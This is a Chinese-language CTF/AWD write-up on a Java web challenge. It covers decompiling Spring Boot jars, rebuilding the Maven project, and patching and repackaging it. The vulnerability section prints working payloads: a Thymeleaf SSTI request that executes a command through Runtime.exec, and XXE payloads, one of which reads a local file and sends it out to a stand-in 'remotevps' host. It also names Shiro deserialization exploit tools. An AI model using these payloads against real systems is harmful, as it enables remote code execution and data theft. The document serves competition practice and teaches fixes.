安洵2022awd-java分析
0x00写在前面的话
这次参加安洵的awd比赛,自己基本就是一个payload自动机,虽然大部分时间都在java中的,但是正式的付出还是不多的,于是下来后就把java项目的基本环境配置,学会如何打paylaod和如何进行简单的修改项目并打包认真学习了一下,不然连脚本小子都当不了[doge]。
0x01环境的部署
1. jar包反编译
java的web程序运行通常都是使用jar包和war包来运行的,通常情况下,运行的指令为:
java -jar awd.jar
# 或者
java -war awd.war
jar包(war包也一样)本质是一种压缩文件,里面包含了从java编译到class的java文件已经程序运行的常规文件,是可以直接使用zip解压得到里面的内容:
不过由于java已经编译了,所以需要工具/方法进行反序列化操作,得到原本的文件后我们才方便后面的操作。
反编译有很多网站可以使用,例如:
但是有时候需要考虑到代码的保密性不能将代码上传网站上去反编译,这时候就需要进行本地的反编译。
前面我们说过,jar/war包本质上就是一个zip的压缩文件,所以如果包够简单,完全可以直接把用压缩文件打开,然后把里面.class
的java文件拖到IDEA中,就可以直接显示源码。
但是这样不优美,而且当文件足够多的时候十分麻烦,这时候就需要进行一些反编译的软件来进行处理。
首先推荐的就是jd-gui,github地址:GitHub - java-decompiler/jd-gui: A standalone Java Decompiler GUI
但是笔者使用这个软件只能查看,不能导出,导出的时候一直停滞不前,所以我找了另外一个软件:jadx,仓库地址:GitHub - skylot/jadx: Dex to Java decompiler
这个软件较上一款软件功能多一点,逆向apk也是可以的,但是我在使用的时候发现有一个不太方便的地方。
正常逆向就只需要把.class
文件变成.java
就可以了,但是这个软件它导出后会有两个文件夹,一个是resources文件夹和sources文件夹,resource就是原封不动的解压出来的文件,sources文件夹下是专门把各个class连带文件夹单独取出来,然后反编译生成出来,用的时候就需要两个文件夹配合着使用。不过jads也有好处,就是它的代码显示功能要比前者好一些。
反编译并不是百分百正确的,如果发现的某个语法错误,或者其他代码错误,一定要将对应 .class拖入idea中查看,以便确定是不是反编译的错误
2. 新项目构建
正常的CTF中,现在就可以直接看题寻找漏洞了,但是在AWD中需要修补漏洞,这时候就需要将代码重新生成成一个完整的java项目,然后进行找洞,补洞。
正常项目
首先我们需要了解一个idea中的java的项目是什么样子的。
对于大部分计算机语言都有属于自己环境管理系统或者项目管理系统,例如python中的conda,poetry一样,而java也有属于自己项目管理系统--maven,maven的出现使得我们不用再花费大量的时间去寻找项目中的依赖和依赖的依赖,而是去维护一个pom.xml的文件即可。
而现在我们要做的就是创建一个简单的maven项目,然后将我们反编译后java文件和其他文件放到其中即可。
一个正常的java-web项目应该有以下文件:
其中target文件是后面生成的,先不管,.iml文件是idea的项目标识文件,mvnw的两个文件和.mvn文件夹,这些都是mvn的文件,挺占用空间的,可以删除,logs文件是idea编译后会写入的文件,方便我们查看编译日志,是删除不掉的(之后会再创建)
下面就是pom文件,我们直接将之前的反编译后得到的pom.xml替换这个pom文件。反编译后的pom.xml位于MATE-INF中,这个也是这个jar包的描述文件,里面包含了jar包的信息和pom文件,复制替换即可。
之后就是安置源码位置,通常情况下src的目录如下面所示:
- src
- lib
- main
- java
- resources
idea中src目录下还有text目录
lib目录是java中需要的依赖文件
其中java里面就是java源码,resource中则是java源码中的配置或者网站静态资源
到现在为止我们就知道了一个java项目的结构组成,之后将反编译后的文件对号入座即可。
反编译后文件组成
反编译一个spring boot项目后通常会有这几个部分组成:
- MATE-INF
- BOOT-INF
- org
war包中是将BOOT-INF换成WEB-INF
-
MATE-INF
这个文件夹顾名思义,就是文件的元数据,里面存放的是pom.xml文件和jar包的描述文件,对我们来说取出pom文件就可以了
-
BOOT-INF
这个文件夹是存放主要的java文件的,里面包含java的配置文件和源码文件,但是有一些不同,该文件夹下通常由两个文件夹和一个文件
- BOOT-INF
- classes
- lib
- classpath.idx
其中classes是包含源码文件配置文件的,lib是依赖文件,classpath.idx是用来指明classpath的,我们需要将classes中的 com 文件夹放到项目文件的java文件夹中,其他文件放到 resources文件夹中
在有模板文件的时候,有时候会出现能加载模板文件,但是无法加载css和js问题,需要将html中的引用文件的static去掉
- BOOT-INF
-
org就是spring boot的驱动文件。
到此我们就完成了新的有jar包到项目文件的过程了。
0x02漏洞的发现
现在我们就可以对整个java文件进行审计了
1.SSTI漏洞
漏洞复现:
打开控制器,首先看到一个hello的控制器
通过查看hello.html发现有
<html xmlns:th="http://www.thymeleaf.org">
所以这里使用的是Thymeleaf模板渲染
此处没有使用@ResponseBody
注解或其他来修补漏洞的方法,存在一个ssti漏洞,
使用payload:
127.0.0.1/hello?name=__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7D__%3A%3A.x
漏洞修补:
- 配置
@ResponseBody
或者@RestController
这样就会直接返回,而不会执行代码:
2.shirio1.2.4 版本过低
shirio1.2.4存在一个硬编码的漏洞,可以使用ysoserial或者ShiroExploit直接打payload,
但是这个漏洞我没有在环境中复现出来,服务端一直都是一个报错。
不过修复的办法也很简单,直接更新到最新版即可。
3.存在xml外部实体漏洞:
查看xml控制器,发现是直接将输入xml进行操作,所以存在漏洞
验证payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY xxe SYSTEM "http://x.x.x.x:xxxx">
]>
<root>&xxe;</root>
修改为自己vps,然后base64加密后用post到/xml路径下,即可验证漏洞:
当然也有读取文件的paylaod:
在服务端发送:
<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % file SYSTEM "file:///C:/1.txt"><!ENTITY % remote SYSTEM "http://remotevps/file.xml">%remote;%all;]><root>&send;</root>
并且在服务端的file.xml中写入
<!ENTITY % all "<!ENTITY send SYSTEM 'http://remotevps/?file=%file;'>">
然后就可以读取文件:
修复方案:
为了不影响服务的正常使用,所以只把最后解析XML的对象为Document对象的一步注释即可:
4.重新打包生成jar文件
修好就需要将java源码进行打包,这里有两种打包方案:
-
maven打包
maven直接有打包的操作,不过虚需要在pom.xml中写入打包类型是jar还是war:
jar 然后就可以通过package进行打包,在idea中直接点击即可:
然后就可以在target中找到所打包的jar包了
-
使用idea打包
在idea
项目结构
中选择工件
然后选择新建一个jar包,之后选择具有依赖的模块
然后选择文件,选择主类,之后是选择生成mate-info的位置,这个一定要注意修改
我测试的时候发现,修改到src目录,可以打包进jar中,不然最后的结果都是没有mate文件报错。
选择完路径后点击确定退出即可,然后选择
构建
,构建工件
,构建
即可在out中找到jar包(默认的话)
0x03简单的回顾
这次的awd中虽然有java的题存在,但是比起平时CTF中的java感觉要简单点,都是直接用paylaod打就能打通的。(虽然我做的java都是直接打payload的[doge])
这次的最大收获就是对java项目的格式有了一些了解,虽然看不懂里面在写什么,但是大致知道这个是干什么的,然后就是学习了maven,和maven的一些功能。了解了spring boot项目是怎么运行的(真的只是运行)。至于awd的中批量利用漏洞会在之后php分析中使用(如果不鸽的话)。总的来说,收获满满,希望下次可以有更好的表现。